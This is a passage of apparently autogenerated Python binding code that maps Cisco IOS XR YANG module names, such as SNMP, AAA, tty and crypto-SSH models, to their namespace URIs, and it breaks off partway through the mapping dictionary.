_global_Cisco_IOS_XR_rgmgr_cfg_nsp = 'http://cisco.com/ns/yang/Cisco-IOS-XR-rgmgr-cfg'
_global_Cisco_IOS_XR_rgmgr_oper_nsp = 'http://cisco.com/ns/yang/Cisco-IOS-XR-rgmgr-oper'
_global_Cisco_IOS_XR_rgmgr_oper_sub1_nsp = 'http://cisco.com/ns/yang/Cisco-IOS-XR-rgmgr-oper'
_global_Cisco_IOS_XR_sdr_invmgr_diag_oper_nsp = 'http://cisco.com/ns/yang/Cisco-IOS-XR-sdr-invmgr-diag-oper'
_global_Cisco_IOS_XR_sdr_invmgr_diag_oper_sub1_nsp = 'http://cisco.com/ns/yang/Cisco-IOS-XR-sdr-invmgr-diag-oper'
_global_Cisco_IOS_XR_sdr_invmgr_oper_nsp = 'http://cisco.com/ns/yang/Cisco-IOS-XR-sdr-invmgr-oper'
_global_Cisco_IOS_XR_segment_routing_ms_cfg_nsp = 'http://cisco.com/ns/yang/Cisco-IOS-XR-segment-routing-ms-cfg'
_global_Cisco_IOS_XR_segment_routing_ms_oper_nsp = 'http://cisco.com/ns/yang/Cisco-IOS-XR-segment-routing-ms-oper'
_global_Cisco_IOS_XR_segment_routing_ms_oper_sub1_nsp = 'http://cisco.com/ns/yang/Cisco-IOS-XR-segment-routing-ms-oper'
_global_Cisco_IOS_XR_shellutil_cfg_nsp = 'http://cisco.com/ns/yang/Cisco-IOS-XR-shellutil-cfg'
_global_Cisco_IOS_XR_shellutil_filesystem_oper_nsp = 'http://cisco.com/ns/yang/Cisco-IOS-XR-shellutil-filesystem-oper'
_global_Cisco_IOS_XR_shellutil_filesystem_oper_sub1_nsp = 'http://cisco.com/ns/yang/Cisco-IOS-XR-shellutil-filesystem-oper'
_global_Cisco_IOS_XR_shellutil_oper_nsp = 'http://cisco.com/ns/yang/Cisco-IOS-XR-shellutil-oper'
_global_Cisco_IOS_XR_shellutil_oper_sub1_nsp = 'http://cisco.com/ns/yang/Cisco-IOS-XR-shellutil-oper'
_global_Cisco_IOS_XR_show_fpd_loc_ng_oper_nsp = 'http://cisco.com/ns/yang/Cisco-IOS-XR-show-fpd-loc-ng-oper'
_global_Cisco_IOS_XR_show_fpd_loc_ng_oper_sub1_nsp = 'http://cisco.com/ns/yang/Cisco-IOS-XR-show-fpd-loc-ng-oper'
_global_Cisco_IOS_XR_skp_qos_oper_nsp = 'http://cisco.com/ns/yang/Cisco-IOS-XR-skp-qos-oper'
_global_Cisco_IOS_XR_skp_qos_oper_sub1_nsp = 'http://cisco.com/ns/yang/Cisco-IOS-XR-skp-qos-oper'
_global_Cisco_IOS_XR_skp_qos_oper_sub2_nsp = 'http://cisco.com/ns/yang/Cisco-IOS-XR-skp-qos-oper'
_global_Cisco_IOS_XR_snmp_agent_cfg_nsp = 'http://cisco.com/ns/yang/Cisco-IOS-XR-snmp-agent-cfg'
_global_Cisco_IOS_XR_snmp_agent_oper_nsp = 'http://cisco.com/ns/yang/Cisco-IOS-XR-snmp-agent-oper'
_global_Cisco_IOS_XR_snmp_agent_oper_sub1_nsp = 'http://cisco.com/ns/yang/Cisco-IOS-XR-snmp-agent-oper'
_global_Cisco_IOS_XR_snmp_agent_oper_sub2_nsp = 'http://cisco.com/ns/yang/Cisco-IOS-XR-snmp-agent-oper'
_global_Cisco_IOS_XR_snmp_agent_oper_sub3_nsp = 'http://cisco.com/ns/yang/Cisco-IOS-XR-snmp-agent-oper'
_global_Cisco_IOS_XR_snmp_agent_oper_sub4_nsp = 'http://cisco.com/ns/yang/Cisco-IOS-XR-snmp-agent-oper'
_global_Cisco_IOS_XR_snmp_agent_oper_sub5_nsp = 'http://cisco.com/ns/yang/Cisco-IOS-XR-snmp-agent-oper'
_global_Cisco_IOS_XR_snmp_agent_oper_sub6_nsp = 'http://cisco.com/ns/yang/Cisco-IOS-XR-snmp-agent-oper'
_global_Cisco_IOS_XR_snmp_agent_oper_sub7_nsp = 'http://cisco.com/ns/yang/Cisco-IOS-XR-snmp-agent-oper'
_global_Cisco_IOS_XR_snmp_ciscosensormib_cfg_nsp = 'http://cisco.com/ns/yang/Cisco-IOS-XR-snmp-ciscosensormib-cfg'
_global_Cisco_IOS_XR_snmp_entitymib_cfg_nsp = 'http://cisco.com/ns/yang/Cisco-IOS-XR-snmp-entitymib-cfg'
_global_Cisco_IOS_XR_snmp_entitymib_oper_nsp = 'http://cisco.com/ns/yang/Cisco-IOS-XR-snmp-entitymib-oper'
_global_Cisco_IOS_XR_snmp_entitymib_oper_sub1_nsp = 'http://cisco.com/ns/yang/Cisco-IOS-XR-snmp-entitymib-oper'
_global_Cisco_IOS_XR_snmp_entstatemib_cfg_nsp = 'http://cisco.com/ns/yang/Cisco-IOS-XR-snmp-entstatemib-cfg'
_global_Cisco_IOS_XR_snmp_frucontrolmib_cfg_nsp = 'http://cisco.com/ns/yang/Cisco-IOS-XR-snmp-frucontrolmib-cfg'
_global_Cisco_IOS_XR_snmp_ifmib_cfg_nsp = 'http://cisco.com/ns/yang/Cisco-IOS-XR-snmp-ifmib-cfg'
_global_Cisco_IOS_XR_snmp_ifmib_oper_nsp = 'http://cisco.com/ns/yang/Cisco-IOS-XR-snmp-ifmib-oper'
_global_Cisco_IOS_XR_snmp_ifmib_oper_sub1_nsp = 'http://cisco.com/ns/yang/Cisco-IOS-XR-snmp-ifmib-oper'
_global_Cisco_IOS_XR_snmp_mib_rfmib_cfg_nsp = 'http://cisco.com/ns/yang/Cisco-IOS-XR-snmp-mib-rfmib-cfg'
_global_Cisco_IOS_XR_snmp_sensormib_oper_nsp = 'http://cisco.com/ns/yang/Cisco-IOS-XR-snmp-sensormib-oper'
_global_Cisco_IOS_XR_snmp_sensormib_oper_sub1_nsp = 'http://cisco.com/ns/yang/Cisco-IOS-XR-snmp-sensormib-oper'
_global_Cisco_IOS_XR_snmp_sensormib_oper_sub2_nsp = 'http://cisco.com/ns/yang/Cisco-IOS-XR-snmp-sensormib-oper'
_global_Cisco_IOS_XR_snmp_syslogmib_cfg_nsp = 'http://cisco.com/ns/yang/Cisco-IOS-XR-snmp-syslogmib-cfg'
_global_Cisco_IOS_XR_snmp_test_trap_act_nsp = 'http://cisco.com/ns/yang/Cisco-IOS-XR-snmp-test-trap-act'
_global_Cisco_IOS_XR_spirit_corehelper_cfg_nsp = 'http://cisco.com/ns/yang/Cisco-IOS-XR-spirit-corehelper-cfg'
_global_Cisco_IOS_XR_spirit_install_instmgr_oper_nsp = 'http://cisco.com/ns/yang/Cisco-IOS-XR-spirit-install-instmgr-oper'
_global_Cisco_IOS_XR_spirit_install_instmgr_oper_sub1_nsp = 'http://cisco.com/ns/yang/Cisco-IOS-XR-spirit-install-instmgr-oper'
_global_Cisco_IOS_XR_spirit_install_instmgr_oper_sub2_nsp = 'http://cisco.com/ns/yang/Cisco-IOS-XR-spirit-install-instmgr-oper'
_global_Cisco_IOS_XR_subscriber_infra_tmplmgr_cfg_nsp = 'http://cisco.com/ns/yang/Cisco-IOS-XR-subscriber-infra-tmplmgr-cfg'
_global_Cisco_IOS_XR_syslog_act_nsp = 'http://cisco.com/ns/yang/Cisco-IOS-XR-syslog-act'
_global_Cisco_IOS_XR_telemetry_model_driven_cfg_nsp = 'http://cisco.com/ns/yang/Cisco-IOS-XR-telemetry-model-driven-cfg'
_global_Cisco_IOS_XR_telemetry_model_driven_oper_nsp = 'http://cisco.com/ns/yang/Cisco-IOS-XR-telemetry-model-driven-oper'
_global_Cisco_IOS_XR_telemetry_model_driven_oper_sub1_nsp = 'http://cisco.com/ns/yang/Cisco-IOS-XR-telemetry-model-driven-oper'
_global_Cisco_IOS_XR_traffmon_netflow_cfg_nsp = 'http://cisco.com/ns/yang/Cisco-IOS-XR-traffmon-netflow-cfg'
_global_Cisco_IOS_XR_tty_management_cfg_nsp = 'http://cisco.com/ns/yang/Cisco-IOS-XR-tty-management-cfg'
_global_Cisco_IOS_XR_tty_management_cmd_oper_nsp = 'http://cisco.com/ns/yang/Cisco-IOS-XR-tty-management-cmd-oper'
_global_Cisco_IOS_XR_tty_management_cmd_oper_sub1_nsp = 'http://cisco.com/ns/yang/Cisco-IOS-XR-tty-management-cmd-oper'
_global_Cisco_IOS_XR_tty_management_datatypes_nsp = 'http://cisco.com/ns/yang/Cisco-IOS-XR-tty-management-datatypes'
_global_Cisco_IOS_XR_tty_management_oper_nsp = 'http://cisco.com/ns/yang/Cisco-IOS-XR-tty-management-oper'
_global_Cisco_IOS_XR_tty_management_oper_sub1_nsp = 'http://cisco.com/ns/yang/Cisco-IOS-XR-tty-management-oper'
_global_Cisco_IOS_XR_tty_server_cfg_nsp = 'http://cisco.com/ns/yang/Cisco-IOS-XR-tty-server-cfg'
_global_Cisco_IOS_XR_tty_server_oper_nsp = 'http://cisco.com/ns/yang/Cisco-IOS-XR-tty-server-oper'
_global_Cisco_IOS_XR_tty_server_oper_sub1_nsp = 'http://cisco.com/ns/yang/Cisco-IOS-XR-tty-server-oper'
_global_Cisco_IOS_XR_tty_server_oper_sub2_nsp = 'http://cisco.com/ns/yang/Cisco-IOS-XR-tty-server-oper'
_global_Cisco_IOS_XR_tty_server_oper_sub3_nsp = 'http://cisco.com/ns/yang/Cisco-IOS-XR-tty-server-oper'
_global_Cisco_IOS_XR_tty_server_oper_sub4_nsp = 'http://cisco.com/ns/yang/Cisco-IOS-XR-tty-server-oper'
_global_Cisco_IOS_XR_tty_server_oper_sub5_nsp = 'http://cisco.com/ns/yang/Cisco-IOS-XR-tty-server-oper'
_global_Cisco_IOS_XR_tty_vty_cfg_nsp = 'http://cisco.com/ns/yang/Cisco-IOS-XR-tty-vty-cfg'
_global_Cisco_IOS_XR_tunnel_gre_cfg_nsp = 'http://cisco.com/ns/yang/Cisco-IOS-XR-tunnel-gre-cfg'
_global_Cisco_IOS_XR_tunnel_nve_cfg_nsp = 'http://cisco.com/ns/yang/Cisco-IOS-XR-tunnel-nve-cfg'
_global_Cisco_IOS_XR_tunnel_nve_oper_nsp = 'http://cisco.com/ns/yang/Cisco-IOS-XR-tunnel-nve-oper'
_global_Cisco_IOS_XR_tunnel_nve_oper_sub1_nsp = 'http://cisco.com/ns/yang/Cisco-IOS-XR-tunnel-nve-oper'
_global_Cisco_IOS_XR_types_nsp = 'http://cisco.com/ns/yang/cisco-xr-types'
_global_Cisco_IOS_XR_upgrade_fpd_oper_nsp = 'http://cisco.com/ns/yang/Cisco-IOS-XR-upgrade-fpd-oper'
_global_Cisco_IOS_XR_upgrade_fpd_oper_sub1_nsp = 'http://cisco.com/ns/yang/Cisco-IOS-XR-upgrade-fpd-oper'
_global_Cisco_IOS_XR_vservice_cfg_nsp = 'http://cisco.com/ns/yang/Cisco-IOS-XR-vservice-cfg'
_global_Cisco_IOS_XR_wanphy_ui_cfg_nsp = 'http://cisco.com/ns/yang/Cisco-IOS-XR-wanphy-ui-cfg'
_global_Cisco_IOS_XR_wanphy_ui_oper_nsp = 'http://cisco.com/ns/yang/Cisco-IOS-XR-wanphy-ui-oper'
_global_Cisco_IOS_XR_wanphy_ui_oper_sub1_nsp = 'http://cisco.com/ns/yang/Cisco-IOS-XR-wanphy-ui-oper'
_global_Cisco_IOS_XR_watchd_cfg_nsp = 'http://cisco.com/ns/yang/Cisco-IOS-XR-watchd-cfg'
_global_Cisco_IOS_XR_wd_cfg_nsp = 'http://cisco.com/ns/yang/Cisco-IOS-XR-wd-cfg'
_global_Cisco_IOS_XR_wd_oper_nsp = 'http://cisco.com/ns/yang/Cisco-IOS-XR-wd-oper'
_global_Cisco_IOS_XR_wd_oper_sub1_nsp = 'http://cisco.com/ns/yang/Cisco-IOS-XR-wd-oper'
_global_Cisco_IOS_XR_wdsysmon_fd_oper_nsp = 'http://cisco.com/ns/yang/Cisco-IOS-XR-wdsysmon-fd-oper'
_global_Cisco_IOS_XR_wdsysmon_fd_oper_sub1_nsp = 'http://cisco.com/ns/yang/Cisco-IOS-XR-wdsysmon-fd-oper'
_global_cisco_xr_ietf_netconf_monitoring_deviations_nsp = 'http://cisco.com/ns/yang/cisco-xr-ietf-netconf-monitoring-deviations'
_global_cisco_xr_openconfig_bgp_deviations_nsp = 'http://cisco.com/ns/yang/cisco-xr-bgp-deviations'
_global_cisco_xr_openconfig_bgp_policy_deviations_nsp = 'http://cisco.com/ns/yang/cisco-xr-bgp-policy-deviations'
_global_cisco_xr_openconfig_if_aggregate_deviations_nsp = 'http://cisco.com/ns/yang/cisco-xr-openconfig-if-aggregate-deviations'
_global_cisco_xr_openconfig_if_ethernet_deviations_nsp = 'http://cisco.com/ns/yang/cisco-xr-openconfig-if-ethernet-deviations'
_global_cisco_xr_openconfig_if_ip_deviations_nsp = 'http://cisco.com/ns/yang/cisco-xr-openconfig-if-ip-deviations'
_global_cisco_xr_openconfig_mpls_deviations_nsp = 'http://cisco.com/ns/yang/cisco-xr-openconfig-mpls-deviations'
_global_cisco_xr_openconfig_telemetry_deviations_nsp = 'http://cisco.com/ns/yang/cisco-xr-openconfig-telemetry-deviations'
_global_cisco_xr_openconfig_vlan_deviations_nsp = 'http://cisco.com/ns/yang/cisco-xr-openconfig-vlan-deviations'
_global_cisco_xr_routing_policy_deviations_nsp = 'http://cisco.com/ns/yang/cisco-xr-routing-policy-deviations'
_namespaces = { \
'Cisco-IOS-XR-Ethernet-SPAN-cfg' : 'http://cisco.com/ns/yang/Cisco-IOS-XR-Ethernet-SPAN-cfg',
'Cisco-IOS-XR-Ethernet-SPAN-datatypes' : 'http://cisco.com/ns/yang/Cisco-IOS-XR-Ethernet-SPAN-datatypes',
'Cisco-IOS-XR-Ethernet-SPAN-oper' : 'http://cisco.com/ns/yang/Cisco-IOS-XR-Ethernet-SPAN-oper',
'Cisco-IOS-XR-Ethernet-SPAN-oper-sub1' : 'http://cisco.com/ns/yang/Cisco-IOS-XR-Ethernet-SPAN-oper',
'Cisco-IOS-XR-Ethernet-SPAN-oper-sub2' : 'http://cisco.com/ns/yang/Cisco-IOS-XR-Ethernet-SPAN-oper',
'Cisco-IOS-XR-Ethernet-SPAN-oper-sub3' : 'http://cisco.com/ns/yang/Cisco-IOS-XR-Ethernet-SPAN-oper',
'Cisco-IOS-XR-Ethernet-SPAN-subscriber-cfg' : 'http://cisco.com/ns/yang/Cisco-IOS-XR-Ethernet-SPAN-subscriber-cfg',
'Cisco-IOS-XR-aaa-lib-cfg' : 'http://cisco.com/ns/yang/Cisco-IOS-XR-aaa-lib-cfg',
'Cisco-IOS-XR-aaa-locald-admin-cfg' : 'http://cisco.com/ns/yang/Cisco-IOS-XR-aaa-locald-admin-cfg',
'Cisco-IOS-XR-aaa-locald-cfg' : 'http://cisco.com/ns/yang/Cisco-IOS-XR-aaa-locald-cfg',
'Cisco-IOS-XR-aaa-locald-oper' : 'http://cisco.com/ns/yang/Cisco-IOS-XR-aaa-locald-oper',
'Cisco-IOS-XR-aaa-locald-oper-sub1' : 'http://cisco.com/ns/yang/Cisco-IOS-XR-aaa-locald-oper',
'Cisco-IOS-XR-aaa-protocol-radius-cfg' : 'http://cisco.com/ns/yang/Cisco-IOS-XR-aaa-protocol-radius-cfg',
'Cisco-IOS-XR-aaa-protocol-radius-oper' : 'http://cisco.com/ns/yang/Cisco-IOS-XR-aaa-protocol-radius-oper',
'Cisco-IOS-XR-aaa-protocol-radius-oper-sub1' : 'http://cisco.com/ns/yang/Cisco-IOS-XR-aaa-protocol-radius-oper',
'Cisco-IOS-XR-aaa-protocol-radius-oper-sub2' : 'http://cisco.com/ns/yang/Cisco-IOS-XR-aaa-protocol-radius-oper',
'Cisco-IOS-XR-aaa-tacacs-cfg' : 'http://cisco.com/ns/yang/Cisco-IOS-XR-aaa-tacacs-cfg',
'Cisco-IOS-XR-aaa-tacacs-oper' : 'http://cisco.com/ns/yang/Cisco-IOS-XR-aaa-tacacs-oper',
'Cisco-IOS-XR-aaa-tacacs-oper-sub1' : 'http://cisco.com/ns/yang/Cisco-IOS-XR-aaa-tacacs-oper',
'Cisco-IOS-XR-alarmgr-server-oper' : 'http://cisco.com/ns/yang/Cisco-IOS-XR-alarmgr-server-oper',
'Cisco-IOS-XR-alarmgr-server-oper-sub1' : 'http://cisco.com/ns/yang/Cisco-IOS-XR-alarmgr-server-oper',
'Cisco-IOS-XR-asic-errors-oper' : 'http://cisco.com/ns/yang/Cisco-IOS-XR-asic-errors-oper',
'Cisco-IOS-XR-asic-errors-oper-sub1' : 'http://cisco.com/ns/yang/Cisco-IOS-XR-asic-errors-oper',
'Cisco-IOS-XR-asic-errors-oper-sub2' : 'http://cisco.com/ns/yang/Cisco-IOS-XR-asic-errors-oper',
'Cisco-IOS-XR-asr9k-asic-errors-oper' : 'http://cisco.com/ns/yang/Cisco-IOS-XR-asr9k-asic-errors-oper',
'Cisco-IOS-XR-asr9k-asic-errors-oper-sub1' : 'http://cisco.com/ns/yang/Cisco-IOS-XR-asr9k-asic-errors-oper',
'Cisco-IOS-XR-asr9k-fsi-oper' : 'http://cisco.com/ns/yang/Cisco-IOS-XR-asr9k-fsi-oper',
'Cisco-IOS-XR-asr9k-fsi-oper-sub1' : 'http://cisco.com/ns/yang/Cisco-IOS-XR-asr9k-fsi-oper',
'Cisco-IOS-XR-asr9k-lpts-oper' : 'http://cisco.com/ns/yang/Cisco-IOS-XR-asr9k-lpts-oper',
'Cisco-IOS-XR-asr9k-lpts-oper-sub1' : 'http://cisco.com/ns/yang/Cisco-IOS-XR-asr9k-lpts-oper',
'Cisco-IOS-XR-asr9k-netflow-oper' : 'http://cisco.com/ns/yang/Cisco-IOS-XR-asr9k-netflow-oper',
'Cisco-IOS-XR-asr9k-netflow-oper-sub1' : 'http://cisco.com/ns/yang/Cisco-IOS-XR-asr9k-netflow-oper',
'Cisco-IOS-XR-asr9k-netflow-oper-sub2' : 'http://cisco.com/ns/yang/Cisco-IOS-XR-asr9k-netflow-oper',
'Cisco-IOS-XR-asr9k-netflow-oper-sub3' : 'http://cisco.com/ns/yang/Cisco-IOS-XR-asr9k-netflow-oper',
'Cisco-IOS-XR-asr9k-netflow-oper-sub4' : 'http://cisco.com/ns/yang/Cisco-IOS-XR-asr9k-netflow-oper',
'Cisco-IOS-XR-asr9k-netflow-oper-sub5' : 'http://cisco.com/ns/yang/Cisco-IOS-XR-asr9k-netflow-oper',
'Cisco-IOS-XR-asr9k-np-oper' : 'http://cisco.com/ns/yang/Cisco-IOS-XR-asr9k-np-oper',
'Cisco-IOS-XR-asr9k-np-oper-sub1' : 'http://cisco.com/ns/yang/Cisco-IOS-XR-asr9k-np-oper',
'Cisco-IOS-XR-asr9k-prm-cfg' : 'http://cisco.com/ns/yang/Cisco-IOS-XR-asr9k-prm-cfg',
'Cisco-IOS-XR-asr9k-qos-oper' : 'http://cisco.com/ns/yang/Cisco-IOS-XR-asr9k-qos-oper',
'Cisco-IOS-XR-asr9k-qos-oper-sub1' : 'http://cisco.com/ns/yang/Cisco-IOS-XR-asr9k-qos-oper',
'Cisco-IOS-XR-asr9k-qos-oper-sub2' : 'http://cisco.com/ns/yang/Cisco-IOS-XR-asr9k-qos-oper',
'Cisco-IOS-XR-asr9k-sc-envmon-admin-oper' : 'http://cisco.com/ns/yang/Cisco-IOS-XR-asr9k-sc-envmon-admin-oper',
'Cisco-IOS-XR-asr9k-sc-envmon-admin-oper-sub1' : 'http://cisco.com/ns/yang/Cisco-IOS-XR-asr9k-sc-envmon-admin-oper',
'Cisco-IOS-XR-asr9k-sc-envmon-oper' : 'http://cisco.com/ns/yang/Cisco-IOS-XR-asr9k-sc-envmon-oper',
'Cisco-IOS-XR-asr9k-sc-envmon-oper-sub1' : 'http://cisco.com/ns/yang/Cisco-IOS-XR-asr9k-sc-envmon-oper',
'Cisco-IOS-XR-asr9k-sc-invmgr-admin-oper' : 'http://cisco.com/ns/yang/Cisco-IOS-XR-asr9k-sc-invmgr-admin-oper',
'Cisco-IOS-XR-asr9k-sc-invmgr-admin-oper-sub1' : 'http://cisco.com/ns/yang/Cisco-IOS-XR-asr9k-sc-invmgr-admin-oper',
'Cisco-IOS-XR-asr9k-sc-invmgr-oper' : 'http://cisco.com/ns/yang/Cisco-IOS-XR-asr9k-sc-invmgr-oper',
'Cisco-IOS-XR-asr9k-sc-invmgr-oper-sub1' : 'http://cisco.com/ns/yang/Cisco-IOS-XR-asr9k-sc-invmgr-oper',
'Cisco-IOS-XR-atm-common-datatypes' : 'http://cisco.com/ns/yang/Cisco-IOS-XR-atm-common-datatypes',
'Cisco-IOS-XR-atm-vcm-cfg' : 'http://cisco.com/ns/yang/Cisco-IOS-XR-atm-vcm-cfg',
'Cisco-IOS-XR-atm-vcm-oper' : 'http://cisco.com/ns/yang/Cisco-IOS-XR-atm-vcm-oper',
'Cisco-IOS-XR-atm-vcm-oper-sub1' : 'http://cisco.com/ns/yang/Cisco-IOS-XR-atm-vcm-oper',
'Cisco-IOS-XR-atm-vcm-oper-sub2' : 'http://cisco.com/ns/yang/Cisco-IOS-XR-atm-vcm-oper',
'Cisco-IOS-XR-atm-vcm-oper-sub3' : 'http://cisco.com/ns/yang/Cisco-IOS-XR-atm-vcm-oper',
'Cisco-IOS-XR-atm-vcm-oper-sub4' : 'http://cisco.com/ns/yang/Cisco-IOS-XR-atm-vcm-oper',
'Cisco-IOS-XR-bundlemgr-cfg' : 'http://cisco.com/ns/yang/Cisco-IOS-XR-bundlemgr-cfg',
'Cisco-IOS-XR-bundlemgr-oper' : 'http://cisco.com/ns/yang/Cisco-IOS-XR-bundlemgr-oper',
'Cisco-IOS-XR-bundlemgr-oper-sub1' : 'http://cisco.com/ns/yang/Cisco-IOS-XR-bundlemgr-oper',
'Cisco-IOS-XR-bundlemgr-oper-sub2' : 'http://cisco.com/ns/yang/Cisco-IOS-XR-bundlemgr-oper',
'Cisco-IOS-XR-cdp-cfg' : 'http://cisco.com/ns/yang/Cisco-IOS-XR-cdp-cfg',
'Cisco-IOS-XR-cdp-oper' : 'http://cisco.com/ns/yang/Cisco-IOS-XR-cdp-oper',
'Cisco-IOS-XR-cdp-oper-sub1' : 'http://cisco.com/ns/yang/Cisco-IOS-XR-cdp-oper',
'Cisco-IOS-XR-cfgmgr-rollback-act' : 'http://cisco.com/ns/yang/Cisco-IOS-XR-cfgmgr-rollback-act',
'Cisco-IOS-XR-clns-isis-cfg' : 'http://cisco.com/ns/yang/Cisco-IOS-XR-clns-isis-cfg',
'Cisco-IOS-XR-clns-isis-datatypes' : 'http://cisco.com/ns/yang/Cisco-IOS-XR-clns-isis-datatypes',
'Cisco-IOS-XR-clns-isis-oper' : 'http://cisco.com/ns/yang/Cisco-IOS-XR-clns-isis-oper',
'Cisco-IOS-XR-clns-isis-oper-sub1' : 'http://cisco.com/ns/yang/Cisco-IOS-XR-clns-isis-oper',
'Cisco-IOS-XR-clns-isis-oper-sub2' : 'http://cisco.com/ns/yang/Cisco-IOS-XR-clns-isis-oper',
'Cisco-IOS-XR-cmproxy-oper' : 'http://cisco.com/ns/yang/Cisco-IOS-XR-cmproxy-oper',
'Cisco-IOS-XR-cmproxy-oper-sub1' : 'http://cisco.com/ns/yang/Cisco-IOS-XR-cmproxy-oper',
'Cisco-IOS-XR-common-acl-datatypes' : 'http://cisco.com/ns/yang/Cisco-IOS-XR-common-acl-datatypes',
'Cisco-IOS-XR-config-cfgmgr-exec-oper' : 'http://cisco.com/ns/yang/Cisco-IOS-XR-config-cfgmgr-exec-oper',
'Cisco-IOS-XR-config-cfgmgr-exec-oper-sub1' : 'http://cisco.com/ns/yang/Cisco-IOS-XR-config-cfgmgr-exec-oper',
'Cisco-IOS-XR-config-mda-cfg' : 'http://cisco.com/ns/yang/Cisco-IOS-XR-config-mda-cfg',
'Cisco-IOS-XR-config-mibs-cfg' : 'http://cisco.com/ns/yang/Cisco-IOS-XR-config-mibs-cfg',
'Cisco-IOS-XR-controller-optics-cfg' : 'http://cisco.com/ns/yang/Cisco-IOS-XR-controller-optics-cfg',
'Cisco-IOS-XR-controller-optics-oper' : 'http://cisco.com/ns/yang/Cisco-IOS-XR-controller-optics-oper',
'Cisco-IOS-XR-controller-optics-oper-sub1' : 'http://cisco.com/ns/yang/Cisco-IOS-XR-controller-optics-oper',
'Cisco-IOS-XR-controller-otu-cfg' : 'http://cisco.com/ns/yang/Cisco-IOS-XR-controller-otu-cfg',
'Cisco-IOS-XR-controller-otu-oper' : 'http://cisco.com/ns/yang/Cisco-IOS-XR-controller-otu-oper',
'Cisco-IOS-XR-controller-otu-oper-sub1' : 'http://cisco.com/ns/yang/Cisco-IOS-XR-controller-otu-oper',
'Cisco-IOS-XR-crypto-macsec-mka-cfg' : 'http://cisco.com/ns/yang/Cisco-IOS-XR-crypto-macsec-mka-cfg',
'Cisco-IOS-XR-crypto-macsec-mka-if-cfg' : 'http://cisco.com/ns/yang/Cisco-IOS-XR-crypto-macsec-mka-if-cfg',
'Cisco-IOS-XR-crypto-macsec-mka-oper' : 'http://cisco.com/ns/yang/Cisco-IOS-XR-crypto-macsec-mka-oper',
'Cisco-IOS-XR-crypto-macsec-mka-oper-sub1' : 'http://cisco.com/ns/yang/Cisco-IOS-XR-crypto-macsec-mka-oper',
'Cisco-IOS-XR-crypto-macsec-pl-oper' : 'http://cisco.com/ns/yang/Cisco-IOS-XR-crypto-macsec-pl-oper',
'Cisco-IOS-XR-crypto-macsec-pl-oper-sub1' : 'http://cisco.com/ns/yang/Cisco-IOS-XR-crypto-macsec-pl-oper',
'Cisco-IOS-XR-crypto-macsec-secy-oper' : 'http://cisco.com/ns/yang/Cisco-IOS-XR-crypto-macsec-secy-oper',
'Cisco-IOS-XR-crypto-macsec-secy-oper-sub1' : 'http://cisco.com/ns/yang/Cisco-IOS-XR-crypto-macsec-secy-oper',
'Cisco-IOS-XR-crypto-sam-cfg' : 'http://cisco.com/ns/yang/Cisco-IOS-XR-crypto-sam-cfg',
'Cisco-IOS-XR-crypto-sam-oper' : 'http://cisco.com/ns/yang/Cisco-IOS-XR-crypto-sam-oper',
'Cisco-IOS-XR-crypto-sam-oper-sub1' : 'http://cisco.com/ns/yang/Cisco-IOS-XR-crypto-sam-oper',
'Cisco-IOS-XR-crypto-ssh-cfg' : 'http://cisco.com/ns/yang/Cisco-IOS-XR-crypto-ssh-cfg',
'Cisco-IOS-XR-crypto-ssh-oper' : 'http://cisco.com/ns/yang/Cisco-IOS-XR-crypto-ssh-oper',
'Cisco-IOS-XR-crypto-ssh-oper-sub1' : 'http://cisco.com/ns/yang/Cisco-IOS-XR-crypto-ssh-oper',
'Cisco-IOS-XR-dnx-driver-oper' : 'http://cisco.com/ns/yang/Cisco-IOS-XR-dnx-driver-oper',
'Cisco-IOS-XR-dnx-driver-oper-sub1' : 'http://cisco.com/ns/yang/Cisco-IOS-XR-dnx-driver-oper',
'Cisco-IOS-XR-dnx-netflow-oper' : 'http://cisco.com/ns/yang/Cisco-IOS-XR-dnx-netflow-oper',
'Cisco-IOS-XR-dnx-netflow-oper-sub1' : 'http://cisco.com/ns/yang/Cisco-IOS-XR-dnx-netflow-oper',
'Cisco-IOS-XR-dnx-netflow-oper-sub2' : 'http://cisco.com/ns/yang/Cisco-IOS-XR-dnx-netflow-oper',
'Cisco-IOS-XR-dnx-netflow-oper-sub3' : 'http://cisco.com/ns/yang/Cisco-IOS-XR-dnx-netflow-oper',
'Cisco-IOS-XR-dnx-netflow-oper-sub4' : 'http://cisco.com/ns/yang/Cisco-IOS-XR-dnx-netflow-oper',
'Cisco-IOS-XR-dnx-netflow-oper-sub5' : 'http://cisco.com/ns/yang/Cisco-IOS-XR-dnx-netflow-oper',
'Cisco-IOS-XR-dnx-port-mapper-oper' : 'http://cisco.com/ns/yang/Cisco-IOS-XR-dnx-port-mapper-oper',
'Cisco-IOS-XR-dnx-port-mapper-oper-sub1' : 'http://cisco.com/ns/yang/Cisco-IOS-XR-dnx-port-mapper-oper',
'Cisco-IOS-XR-drivers-media-eth-cfg' : 'http://cisco.com/ns/yang/Cisco-IOS-XR-drivers-media-eth-cfg',
'Cisco-IOS-XR-drivers-media-eth-oper' : 'http://cisco.com/ns/yang/Cisco-IOS-XR-drivers-media-eth-oper',
'Cisco-IOS-XR-drivers-media-eth-oper-sub1' : 'http://cisco.com/ns/yang/Cisco-IOS-XR-drivers-media-eth-oper',
'Cisco-IOS-XR-dwdm-ui-cfg' : 'http://cisco.com/ns/yang/Cisco-IOS-XR-dwdm-ui-cfg',
'Cisco-IOS-XR-dwdm-ui-oper' : 'http://cisco.com/ns/yang/Cisco-IOS-XR-dwdm-ui-oper',
'Cisco-IOS-XR-dwdm-ui-oper-sub1' : 'http://cisco.com/ns/yang/Cisco-IOS-XR-dwdm-ui-oper',
'Cisco-IOS-XR-es-ace-cfg' : 'http://cisco.com/ns/yang/Cisco-IOS-XR-es-acl-cfg',
'Cisco-IOS-XR-es-acl-cfg' : 'http://cisco.com/ns/yang/Cisco-IOS-XR-es-acl-cfg',
'Cisco-IOS-XR-es-acl-datatypes' : 'http://cisco.com/ns/yang/Cisco-IOS-XR-es-acl-datatypes',
'Cisco-IOS-XR-es-acl-oper' : 'http://cisco.com/ns/yang/Cisco-IOS-XR-es-acl-oper',
'Cisco-IOS-XR-es-acl-oper-sub1' : 'http://cisco.com/ns/yang/Cisco-IOS-XR-es-acl-oper',
'Cisco-IOS-XR-ethernet-cfm-cfg' : 'http://cisco.com/ns/yang/Cisco-IOS-XR-ethernet-cfm-cfg',
'Cisco-IOS-XR-ethernet-cfm-datatypes' : 'http://cisco.com/ns/yang/Cisco-IOS-XR-ethernet-cfm-datatypes',
'Cisco-IOS-XR-ethernet-cfm-oper' : 'http://cisco.com/ns/yang/Cisco-IOS-XR-ethernet-cfm-oper',
